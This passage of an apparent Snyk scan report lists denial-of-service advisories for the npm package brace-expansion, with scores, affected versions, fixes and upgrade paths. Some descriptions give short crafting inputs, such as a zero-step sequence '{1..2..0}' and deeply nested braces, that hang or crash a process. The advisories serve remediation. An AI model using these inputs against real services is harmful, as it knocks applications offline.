"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
